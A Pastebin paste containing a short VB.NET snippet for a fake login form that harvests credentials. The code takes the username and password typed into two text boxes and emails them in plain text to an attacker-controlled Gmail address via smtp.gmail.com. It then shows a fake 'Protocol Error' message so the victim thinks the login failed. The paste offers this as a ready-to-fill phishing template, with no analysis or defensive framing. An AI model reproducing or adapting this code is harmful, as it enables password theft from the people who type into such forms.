Advertisement
Guest User

Untitled

a guest
Sep 29th, 2017
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. Imports System.Net.Mail
  2. If TextBox1.Text = "" Then
  3. MsgBox("Username Is Missing Or Invalid.")
  4. If TextBox2.Text = "" Then
  5. MsgBox("Password Is Mising Or Invalid.")
  6. Else
  7. End If
  8. End If
  9. Dim smtpServer As New SmtpClient()
  10. Dim mail As New MailMessage()
  11. smtpServer.Credentials = New Net.NetworkCredential("your Gmail here", "Your Gmail Password Here")
  12. smtpServer.Port = 587
  13. smtpServer.Host = "smtp.gmail.com" 'Uses Gmail
  14. smtpServer.EnableSsl = True
  15. mail = New MailMessage()
  16. mail.From = New MailAddress("Your Gmail")
  17. mail.To.Add("Your Gmail")
  18. mail.Subject = "Username: " & TextBox1.Text
  19. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  20. smtpServer.Send(mail)
  21. MsgBox("A Text Box Is Either Missing Or Invalid.", MsgBoxStyle.Exclamation, "Protocol Error: 91653")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement